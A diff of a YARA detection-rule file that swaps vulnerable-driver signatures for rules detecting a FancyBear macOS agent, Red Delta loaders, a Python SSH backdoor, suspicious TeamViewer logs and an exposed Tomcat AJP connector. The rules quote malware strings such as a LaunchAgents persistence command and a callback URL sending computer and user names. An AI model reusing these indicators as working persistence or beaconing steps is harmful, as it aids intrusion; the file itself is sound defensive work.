 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00360020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003200200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "bpython27.dll" fullword ascii
+		$s1 = "email.header(" ascii
+		$s2 = "LogonUI.exe" fullword wide
+		$s3 = "Crypto.Cipher.AES(" ascii
+		$s4 = "mod is NULL - %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <4000KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_5CFA : FILE
+rule SIGNATURE_BASE_MAL_OSX_Fancybear_Agent_Jul18_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "a563b3de-1a05-55bf-ae93-03e84ef1cb26"
-		date = "2023-06-14"
+		description = "Detects FancyBear Agent for OSX"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ae717f70-7196-561a-916f-1598ab38c77a"
+		date = "2018-07-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4534-L4554"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5cfad3d473961763306d72c12bd5ae14183a1a5778325c9acacca764b79ca185"
-		logic_hash = "772f33e1190458ffbe4f6636fc775fea47d4ab242cecc5a77d00ee34de4ecf86"
-		score = 40
+		reference = "https://twitter.com/DrunkBinary/status/1018448895054098432"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fancybear_osxagent.yar#L1-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "099235424f22f3591a891726ea0c13ebf831fae0456ab1b6baba329c090a9535"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d3be93f6ce59b522ff951cef9d59ef347081ffe33d4203cd5b5df0aaa9721aa2"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$x1 = "/Users/kazak/Desktop/" ascii
+		$s1 = "launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist" fullword ascii
+		$s2 = "mkdir -p /Users/Shared/.local/ &> /dev/null" fullword ascii
+		$s3 = "chmod 755 /Users/Shared/start.sh" fullword ascii
+		$s4 = "chmod 755 %s/%s &> /dev/null" fullword ascii
+		$s6 = "chmod 755 /Users/Shared/.local/kextd" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0xfacf and filesize <3000KB and (1 of ($x*) and 4 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_119C : FILE
+rule SIGNATURE_BASE_LOG_Teamviewer_Connect_Chinese_Keyboard_Layout
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
-		author = "Florian Roth"
-		id = "abb75d3f-eeb2-5ae7-976a-3f9e8627d6ca"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4557-L4577"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280"
-		logic_hash = "1ff636a8954a5f049c582d8436111ffe5a4e89e3f38870c9c8ac9706f0b1acd2"
-		score = 40
+		description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Chinese keyboard layout"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f901818b-5150-540f-b645-686c12784a38"
+		date = "2019-10-12"
+		modified = "2020-12-16"
+		reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/log_teamviewer_keyboard_layouts.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba3bc7cbdfc5a47f6bc4cd9049c52eb95d25465af107ae3d068ef785b714279a"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		limit = "Logscan"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f00360034 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f00360034 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300031003900200041007200740068007500720020004c0069006200650072006d0061006e }
+		$x1 = "Changing keyboard layout to: 0804" ascii
+		$x2 = "Changing keyboard layout to: 042a"
+		$fp1 = "Changing keyboard layout to: 08040804" ascii
+		$fp2 = "Changing keyboard layout to: 042a042a" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		(#x1+#x2)>(#fp1+#fp2)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_263E : FILE
+rule SIGNATURE_BASE_LOG_Teamviewer_Connect_Russian_Keyboard_Layout
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "2ff1ee8e-cd67-58e7-b301-e1f7712b6031"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4580-L4600"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "263e8f1e20612849aea95272da85773f577fd962a7a6d525b53f43407aa7ad24"
-		logic_hash = "c4a5f4e6908dcf3280adcebb9d8c58fb58be06267b524cb37f15d99091eb4a98"
-		score = 40
+		description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Russian keyboard layout"
+		author = "Florian Roth (Nextron Systems)"
+		id = "360a1cca-2a64-5fd8-bcde-f49e1b17281e"
+		date = "2019-10-12"
+		modified = "2022-12-07"
+		reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/log_teamviewer_keyboard_layouts.yar#L23-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9de52ec41fb410fcff50d49eb7871eadd07b520c3cfa089e1eeecc580e610eaa"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		limit = "Logscan"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100300020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$x1 = "Changing keyboard layout to: 0419" ascii
+		$fp1 = "Changing keyboard layout to: 04190419" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		#x1>#fp1
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_E839 : FILE
+rule SIGNATURE_BASE_VUL_Tomcat_Catalina_CVE_2020_1938 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "8a7a82a3-f24e-5887-9d95-a997179616d9"
-		date = "2023-06-14"
+		description = "Detects a possibly active and vulnerable Tomcat configuration that includes an accessible and unprotected AJP connector (you can ignore backup files or files that are not actively used)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d23af7ce-eb5d-50aa-be02-b4bf858641c2"
+		date = "2020-02-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4603-L4623"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e83908eba2501a00ef9e74e7d1c8b4ff1279f1cd6051707fd51824f87e4378fa"
-		logic_hash = "452a3eeb969ca2a3145b1f525401490911aeec23b29e88395f33dddb693417d0"
-		score = 40
+		reference = "https://www.chaitin.cn/en/ghostcat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_cve_2020_1938.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "902b469c8a31add2254e8d5ade6bc22f1bc0a2b10ea70f3131f0640f2900e667"
+		score = 50
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004300500055005f00430043 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$h1 = "<?xml "
+		$a1 = "<Service name=\"Catalina\">" ascii
+		$v1 = "<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"/>" ascii
+		$fp1 = "<!--<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"" ascii
+		$fp2 = " secret=\"" ascii
+		$fp3 = " requiredSecret=\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		$h1 at 0 and filesize <=300KB and $a1 and $v1 and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Hilschergesellschaftfrsystemaoutomationmbh_Physmemsys_Physicalmemoryaccessdriver_C299 : FILE
+rule SIGNATURE_BASE_Custom_Ssh_Backdoor_Server
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - physmem.sys"
-		author = "Florian Roth"
-		id = "1759efbf-dabf-5790-a624-9e344884f98c"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4626-L4646"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
-		logic_hash = "64d1a7c9772d6a627bd2cec5c466a2627fa28d4a640ebe7fac5b948a02f1ff2a"
-		score = 40
+		description = "Custome SSH backdoor based on python and paramiko - file server.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eccf705b-b2c3-5af6-ab86-70292089812b"
+		date = "2015-05-14"
+		modified = "2022-08-18"
+		reference = "https://goo.gl/S46L3o"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_backdoor_ssh_python.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
+		logic_hash = "7bb142b69a75003e8f26d462c0895a3d807d5c326684e83d756178a3b91669dc"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
+		$s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
+		$s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_AF10 : FILE
+rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "f80640c2-ec8d-5350-ba26-4dc6974816f2"
-		date = "2023-06-14"
+		description = "Detects Red Delta samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "47417488-e843-5346-9baa-fcce30b884d1"
+		date = "2020-10-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4649-L4669"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "af1011c76a22af7be97a0b3e0ce11aca0509820c59fa7c8eeaaa1b2c0225f75a"
-		logic_hash = "9fc3405f0415b37f348f5a7ea83344a60a9a987acfa844663811e834927f234a"
-		score = 40
+		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_reddelta.yar#L2-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f2406563b863b8ccd0fd8d8d33c576c4b82dabb55a1e4fa8291859323389834"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "30b2bbce0ca4cb066721c94a64e2c37b7825dd72fc19c20eb0ab156bea0f8efc"
+		hash2 = "42ed73b1d5cc49e09136ec05befabe0860002c97eb94e9bad145e4ea5b8be2e2"
+		hash3 = "480a8c883006232361c5812af85de9799b1182f1b52145ccfced4fa21b6daafa"
+		hash4 = "7ea7c6406c5a80d3c15511c4d97ec1e45813e9c58431f386710d0486c4898b98"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }
+		$x1 = "InjectShellCode" ascii fullword
+		$s1 = "DotNetLoader.exe" wide ascii fullword
+		$s2 = "clipboardinject" ascii fullword
+		$s3 = "download.php?raw=1" wide
+		$s4 = "Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint" wide
+		$s5 = "FlashUpdate.exe" wide
+		$s6 = "raw_cc_url" ascii fullword
+		$op1 = { 48 8b 4c 24 78 48 89 01 e9 1a ff ff ff 48 8b 44 }
+		$op2 = { ff ff 00 00 77 2a 8b 44 24 38 8b 8c 24 98 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and $x1 or 3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_ADA4 : FILE
+rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "55ef1733-e9e8-5c60-8461-233e4fa4f0ae"
-		date = "2023-06-14"
+		description = "Detects Red Delta samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "acb1024a-64af-51ac-84c8-7fe9a5bd4538"
+		date = "2020-10-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4672-L4692"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ada4e42bf5ef58ef1aad94435441003b1cc1fcaa5d38bfdbe1a3d736dc451d47"
-		logic_hash = "d102d9add684a93cec7f05196b3e3ca39ff470df7df1b5fd58001b460c0a2dfc"
-		score = 40
+		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_reddelta.yar#L31-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "179265c0b2175bc3d2d581a69e50e9b8b9cc918a6fdc7bcef42fb163c49b077a"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b"
+		hash2 = "9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5"
+		hash3 = "b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$x1 = "\\CLRLoader.exe" wide fullword
+		$x2 = "/callback.php?token=%s&computername=%s&username=%s" ascii fullword
+		$s1 = "DotNetLoader.Program" wide fullword
+		$s2 = "/download.php?api=40" ascii fullword
+		$s3 = "get %d URLDir" ascii fullword
+		$s4 = "Read code failed" ascii fullword
+		$s5 = "OpenFile fail!" wide fullword
+		$s6 = "Writefile success" wide fullword
+		$op1 = { 4c 8d 45 e0 49 8b cc 41 8d 51 c3 e8 34 77 02 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of ($x*) or 4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_9B2F : FILE
+rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "d2e1c8d4-b8a7-5a0d-817a-f68ddda1c652"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4695-L4715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b2f051ac901ab47d0012a1002cb8b2db28c14e9480c0dd55e1ac11c81ba9285"
-		logic_hash = "156c30e23f3a22442c635c449290dfcfc5f02fb3b3a0a65f0966306bd1d71f7c"
-		score = 40
+		description = "Detects Red Delta samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b52836bb-cdef-5416-a8e1-72d0b2298546"
+		date = "2020-10-14"
+		modified = "2022-12-21"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_reddelta.yar#L59-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64402f6265f23abf7d6a711aa888c89386c1a754f12286b0efe5fd5d81f15b01"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "740992d40b84b10aa9640214a4a490e989ea7b869cea27dbbdef544bb33b1048"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$s1 = "Taskschd.dll" ascii fullword
+		$s2 = "AddTaskPlanDllVerson.dll" ascii fullword
+		$s3 = "\\FlashUpdate.exe" ascii
+		$s4 = "D:\\Project\\FBIRedTeam" ascii fullword
+		$s5 = "Error %s:%d, ErrorCode: %x" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cyreninc_Amp_Cyrenamp_CBB8 : FILE
